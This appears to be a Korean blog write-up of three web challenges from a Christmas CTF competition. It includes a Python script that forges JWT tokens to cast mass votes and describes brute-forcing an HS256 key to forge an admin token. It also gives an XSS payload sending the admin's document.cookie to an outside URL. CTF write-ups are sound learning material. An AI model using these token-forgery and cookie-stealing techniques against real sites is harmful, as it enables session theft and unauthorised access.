Profile

i love cat

as3617

Christmas CTF web writeup

어제 크리스마스 CTF에 팀을 구성하여 참여하여 10등으로 마무리하였다.

web - watermelon

upload music을 통해 파일을 업로드 할 수 있지만 딱히 업로드를 통해서 할 수 있는 것은 없다.

robots.txt를 통해 /xmas/.git에 접근 할 수 있었고 이를 통해 깃헙에 소스코드가 존재할 것이라 생각하여 검색을 하였더니 소스코드가 진짜 있었다.

소스코드를 분석해보면 음악을 업로드 한뒤 투표창에서 투표를 일정이상 받으면 바로 플래그를 준다. 하지만 투표는 계정당 한번 밖에 할 수가 없다.

따라서 토큰 값을 생성해서 다른 user_no로 투표를 하면 된다.

import hashlib, base64, requests

def send(a):
    URL = "http://ch4n3.me:8080/xmas/vote.php"
    headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36' }
    data = { 'music_no': '186' }
    cookies = { 'PHPSESSJWT': a }
    r = requests.post(URL, cookies=cookies, data=data, headers=headers)
    r = r.text
    print(r)

if __name__=='__main__':
    for i in range(0,1225):
        headers = '{"alg":"sha256","typ":"JWT"}'
        payload = '{"user_no":'+str(i)+',"id":"Tigre000","nickname":"Tigre000","iat":1577235166}'
        signature = hashlib.sha256((headers+payload).encode()).hexdigest()
        result = base64.b64encode((headers+'.'+payload+'.'+signature).encode()).decode()
        send(result)

 

플래그를 얻을 수 있다. 

또한 위처럼 풀지 않아도 플래그를 얻을 수 있는데 출제자가 테스트용으로 아이디랑 비밀번호를 admin admin으로 가입을 해둔뒤 문제를 풀어놔서 해당 계정으로 로그인하면 바로 플래그를 얻을 수 있다. 이것 때문에 푼 사람이 너무 많았다..

web - jwt

문제 이름처럼 로그인하면 jwt쿠키를 확인 할 수 있는데

사진과 마찬가지로 HS256알고리즘을 사용하고 있다. 맨처음에는 jwt none type injection attack을 생각해보았지만

문제에서 주어진 코드를 보면 알고리즘을 검사하고 있기 때문에 사용할 수 없다. 하지만 HS256알고리즘은 brute force를 통해 키값을 알아낼 수 있고 소스코드에서 키값은 0~9사이의 숫자 8자리로 구성되있다고 하였다. 이를 이용하여 먼저

10000000~99999999사이의 숫자가 담긴 테이블을 먼저 만든 뒤 온라인에 공개되있는 jwt crack 툴을 이용하여 key값을 구했다.

key를 알아냈으므로 원래 jwt에서 isAdmin을 True로 바꾼다음 변조한 jwt를 제출하여 플래그를 얻으면 된다.

web - csrf

처음 들어가면 글을 올릴 수 있는데 문제에서 admin이 계속 게시글을 본다 했으므로 xss를 통해 쿠키를 가져오면 될 것 같다.

글을 쓸 때 내용에다가 xss 구문을 넣으면 waf에 걸려서 안되지만 글 제목에서는 막히지 않으므로 글제목을 통해 xss를 일으키면 된다.

다른 필터링이 없으므로 그냥 밑의 구문을 이용해서 플래그를 얻었다. 
<script>window.location="url?q="+document.cookie;</script>

이렇게 해서 업로드 하니 바로 플래그가 날라왔다.